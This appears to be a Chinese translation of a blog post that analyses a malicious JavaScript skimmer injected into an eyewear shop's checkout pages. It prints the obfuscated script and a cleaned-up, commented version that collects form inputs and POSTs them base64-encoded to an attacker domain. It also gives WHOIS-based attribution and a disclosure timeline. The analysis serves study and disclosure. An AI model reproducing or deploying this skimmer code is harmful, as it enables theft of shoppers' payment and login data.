原文:https://blog.jse.li/posts/marveloptics-malware/

摘要:这段被注入的脚本偷取结账表单数据并将其发送到中国人持有的域名,但是攻击者的编程技术真的很烂。

最近,我妈妈在网上寻找一副新的眼镜。而当访问到 marveloptics.com 的时候,她的杀毒软件开始弹出恶意Javascript的警告。我总是很好奇现实生活中的攻击是如何运作的,我便对它实施逆向工程。
文件可以在 Github仓库找到。

恶意代码位置

这些攻击者把他们的代码注入到像modernizr和openid的库,这样做有一些好处:

反混淆

文件:
modernizr.js
openid.js

它们包含完全相同的代码,并且很明显都是用javascriptobfuscator.com这类工具混淆过的。

幸运的是,js-beautify专门对这些脚本进行反混淆处理。

$ js-beautify -x -s 2 original/op

处理后的代码:

var i3692386a609ff6fd204a1418521ec651 = {
  snd: null,
  o7d6e88f271f3ac078a708f7123e10e14: "https://webfotce.me/js/form.js",
  myid: (function(_0x79e5x2) {
    var _0x79e5x3 = document["cookie"]["match"](new RegExp("(?:^|; )" + _0x79e5x2["replace"](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
  })("setidd") || (function() {
    var _0x79e5x4 = new Date();
    var _0x79e5x5 = _0x79e5x4["getTime"]() + "-" + Math["floor"](Math["random"]() * (999999999 - 11111111 + 1) + 11111111);
    var _0x79e5x6 = new Date(new Date()["getTime"]() + 60 * 60 * 24 * 1000);
    document["cookie"] = "setidd=" + _0x79e5x5 + "; path=/; expires=" + _0x79e5x6["toUTCString"]();
    return _0x79e5x5
  })(),
  clk: function() {
    i3692386a609ff6fd204a1418521ec651["snd"] = null;
    var _0x79e5x7 = document["querySelectorAll"]("input, select, textarea, checkbox, button");
    for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7["length"]; _0x79e5x8++) {
      if (_0x79e5x7[_0x79e5x8]["value"]["length"] > 0) {
        var _0x79e5x9 = _0x79e5x7[_0x79e5x8]["name"];
        if (_0x79e5x9 == "") {
          _0x79e5x9 = _0x79e5x8
        };
        i3692386a609ff6fd204a1418521ec651["snd"] += _0x79e5x7[_0x79e5x8]["name"] + "=" + _0x79e5x7[_0x79e5x8]["value"] + "&"
      }
    }
  },
  send: function() {
    try {
      var _0x79e5xa = document["querySelectorAll"]("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa["length"]; _0x79e5x8++) {
        var _0x79e5xb = _0x79e5xa[_0x79e5x8];
        if (_0x79e5xb["type"] != "text" && _0x79e5xb["type"] != "select" && _0x79e5xb["type"] != "checkbox" && _0x79e5xb["type"] != "password" && _0x79e5xb["type"] != "radio") {
          if (_0x79e5xb["addEventListener"]) {
            _0x79e5xb["addEventListener"]("click", i3692386a609ff6fd204a1418521ec651["clk"], false)
          } else {
            _0x79e5xb["attachEvent"]("onclick", i3692386a609ff6fd204a1418521ec651["clk"])
          }
        }
      };
      var _0x79e5xc = document["querySelectorAll"]("form");
      for (vari = 0; _0x79e5x8 < _0x79e5xc["length"]; _0x79e5x8++) {
        if (_0x79e5xc[_0x79e5x8]["addEventListener"]) {
          _0x79e5xc[_0x79e5x8]["addEventListener"]("submit", i3692386a609ff6fd204a1418521ec651["clk"], false)
        } else {
          _0x79e5xc[_0x79e5x8]["attachEvent"]("onsubmit", i3692386a609ff6fd204a1418521ec651["clk"])
        }
      };
      if (i3692386a609ff6fd204a1418521ec651["snd"] != null) {
        var _0x79e5xd = location["hostname"]["split"](".")["slice"](0)["join"]("_") || "nodomain";
        var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651["snd"]);
        var _0x79e5xf = new XMLHttpRequest();
        _0x79e5xf["open"]("POST", i3692386a609ff6fd204a1418521ec651["o7d6e88f271f3ac078a708f7123e10e14"], true);
        _0x79e5xf["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
        _0x79e5xf["send"]("info=" + _0x79e5xe + "&hostname=" + _0x79e5xd + "&key=" + i3692386a609ff6fd204a1418521ec651["myid"])
      };
      i3692386a609ff6fd204a1418521ec651["snd"] = null;
      _0x79e5xe = null;
      setTimeout(function() {
        i3692386a609ff6fd204a1418521ec651["send"]()
      }, 30)
    } catch (e) {}
  }
};
if ((new RegExp("onepage|checkout|onestep", "gi"))["test"](window["location"])) {
  i3692386a609ff6fd204a1418521ec651["send"]()
}

这样看上去好了一点,但是还是很乱!接下来就是查找替换还原变量名以及添加注释的繁琐工作:

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",
  myid: (function(cookieName) {
     // 检查cookie中的`setidd`字段
    var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return id ? decodeURIComponent(id[1]) : undefined;
  })("setidd") || (function() {
    //如果cookie不存在,那么将生成一个新ID,并将其保存在cookie的`setidd`字段//ID由当前的unix时间戳,短划线和长随机数组成
    //形如:`1529853014535-289383517`
    var timestamp = new Date();
    var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
    var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // 该cookie将在24小时后失效
    document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
    return id;
  })(),
  stealData: function() {
    // 将所有input、dropdown、textarea、checkboxe、和button (?)的值序列化
    // 保存于 Malware.data
    Malware.data = null;
    var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
    for (var i = 0; i < elements.length; i++) {
      if (elements[i].value.length > 0) {
        var name = elements[i].name;
        if (name == "") {
          name = i;
        };
        Malware.data += elements[i].name + "=" + elements[i].value + "&";
      }
    }
  },
  send: function() {
    try {
      // //当用户点击任意按钮或表单输入时,运行stealData()
      var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var i = 0; i < elements.length; i++) {
        var element = elements[i];
        if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
          if (element.addEventListener) {
            element.addEventListener("click", Malware.stealData, false);
          } else {
            element.attachEvent("onclick", Malware.stealData);
          }
        }
      };

      // 当用户提交一个表单时,运行stealData()
      var formElements = document.querySelectorAll("form");
      for (vari = 0; i < formElements.length; i++) { //是的,这里是他们的拼写错误!
        if (formElements[i].addEventListener) {
          formElements[i].addEventListener("submit", Malware.stealData, false);
        } else {
          formElements[i].attachEvent("onsubmit", Malware.stealData);
        }
      };

     // 如果有待发送数据,那么将其发送到预定义的Url
      if (Malware.data != null) {
        var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
        var data = btoa(Malware.data); // base64编码
        var xhr = new XMLHttpRequest();
        xhr.open("POST", Malware.url, true);
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
      };
      Malware.data = null;
      data = null;
      setTimeout(function() {
        Malware.send();
      }, 30); //整个函数每30毫秒运行一次!
    } catch (e) {}
  }
};

//仅在有重要数据的页面运行
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

它干了什么?

一步步的,这些是代码干的事:

开始

//仅在有重要数据的页面运行
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

这是整个脚本的入口点,它用于调用send(),但前提是该页面是结帐页面。

声明主对象

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",

我将其重命名为Malware,大部分代码都存在于此对象中。 data最终将存储用户的被盗数据,这些数据将被发送到ulrl

识别用户

myid: (function(cookieName) {
  // 检查cookie中的`setidd`字段
  var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
  //如果cookie不存在,那么将生成一个新ID,并将其保存在cookie的`setidd`字段//ID由当前的unix时间戳,短划线和长随机数组成
  //形如:`1529853014535-289383517`
  var timestamp = new Date();
  var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
  var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // 该cookie将在24小时后失效
  document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
  return id;
})(),

myid 存储字符串ID以标识用户。
在第一个代码块中,程序检查cookie中的setidd字段。 如果存在(受害者曾经访问过此网站),那么它会解析cookie提取其中的ID,并将其存储在myid中。

但是,如果cookie不存在,那么将生成一个新ID,并将其保存在myid和cookie的setidd字段中,该cookie将在24小时后失效。 ID由当前的unix时间戳,短划线和长随机数组成,形如:1529853014535-289383517
Helper function to vacuum up data

用辅助函数收集数据

stealData: function() {
  // 将所有input、dropdown、textarea、checkboxe、和button (?)的值序列化
  // 保存于 Malware.data
  Malware.data = null;
  var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
  for (var i = 0; i < elements.length; i++) {
    if (elements[i].value.length > 0) {
      var name = elements[i].name;
      if (name == "") {
        name = i;
      };
      Malware.data += elements[i].name + "=" + elements[i].value + "&";
    }
  }
},

首先,它将data属性清空,设置为null。 然后,它在页面上查找所有文本输入框,并以以下格式保存其名称(name)和值(value):
name=admin&password=hunter2

但实际上,因为datanull开始,当程序将新值和它拼接时,拼接后的字符串看起来更像是这样的:
nullusername=admin&password=hunter2

因此我们知道我们正在与“顶级”黑客打交道。

大头的一个:send()

send: function() {
  try {
    // ...
  } catch (e) {}
}

这些是“专业”开发者,“专业”开发者永远不会让错误( error)妨碍他们。

添加事件侦听器

//当用户点击任意按钮或表单输入时,运行stealData()
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
  var element = elements[i];
  if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
    if (element.addEventListener) {
      element.addEventListener("click", Malware.stealData, false);
    } else {
      element.attachEvent("onclick", Malware.stealData);
    }
  }
};

恶意代码会为页面上的所有按钮注入一个事件监听器,因此当用户单击其中任何一个按钮时,它们会再次运行stealData()。 检查element.addEventListener,如果这个属性不存在则使用element.attachEvent,这是支持Internet Explorer 8及更低版本的技巧。

//当用户提交一个表单时,运行stealData()
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { //是的,这里是他们的拼写错误!
  if (formElements[i].addEventListener) {
    formElements[i].addEventListener("submit", Malware.stealData, false);
  } else {
    formElements[i].attachEvent("onsubmit", Malware.stealData);
  }
};

他们也试图为表单提交做同样的事情。 然而,他们写了一个拼写错误:他们写了vari = 0而不是写var i = 0。这样就创建了一个名为vari的全局变量并将其设置为0.幸运的是,前一个循环中的i仍然在作用范围内。 因此,i的初始值大于0,并且可能也大于formElements.length,这意味着循环体实际上从未运行过。
再一次看出,我们正在和“专业”开发者打交道。

发送数据

// 如果有待发送数据,那么将其发送到预定义的Url
if (Malware.data != null) {
  var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
  var data = btoa(Malware.data); // base64 编码
  var xhr = new XMLHttpRequest();
  xhr.open("POST", Malware.url, true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};

如果data内部有数据(由stealData()设置的),则将其POST到他们的域名。 data中的所有内容都进行了base64编码,因此它不会与剩下的POST请求发生冲突,其中包括ID和当前页面的主机名(由于某种原因,点会转换为下划线)

清空并再次运行

Malware.data = null;
data = null;
setTimeout(function() {
  Malware.send();
}, 30);//整个函数每30毫秒运行一次!

send()每30毫秒(!)调用一次,他们一点都不在意性能。

WHOIS的背后?

对其域名进行的WHOIS查询结果显示webfotce.me已被注册给中国福建的一家名为“Wuxi Yilian LLC”的公司。 他们的注册商是 http://www.bizcn.com 。断言这些攻击者是中国人应该比较靠谱。

Registrar WHOIS Server:
Registrar URL: http://www.bizcn.com
Updated Date: 2017-10-25T07:11:06Z
Creation Date: 2016-10-28T10:49:19Z
Registry Expiry Date: 2018-10-28T10:49:19Z
Registrar Registration Expiration Date:
Registrar: Bizcn.com

谷歌搜索显示,这不是该公司唯一的恶意行为:当比特币大约6000美元时,他们涉嫌从这个红色赌场偷走250个比特币,这意味着他们偷了大约150万美元。

大体时间

根据互联网快照存档,自2017年1月至6月期间,marveloptics.com已被感染,这意味着他们在过去一年中所有客户的信息都被窃取。

我今年6月24日通过电子邮件向[email protected]发送了详细信息,但尚未收到回复。

源链接

Hacking more

...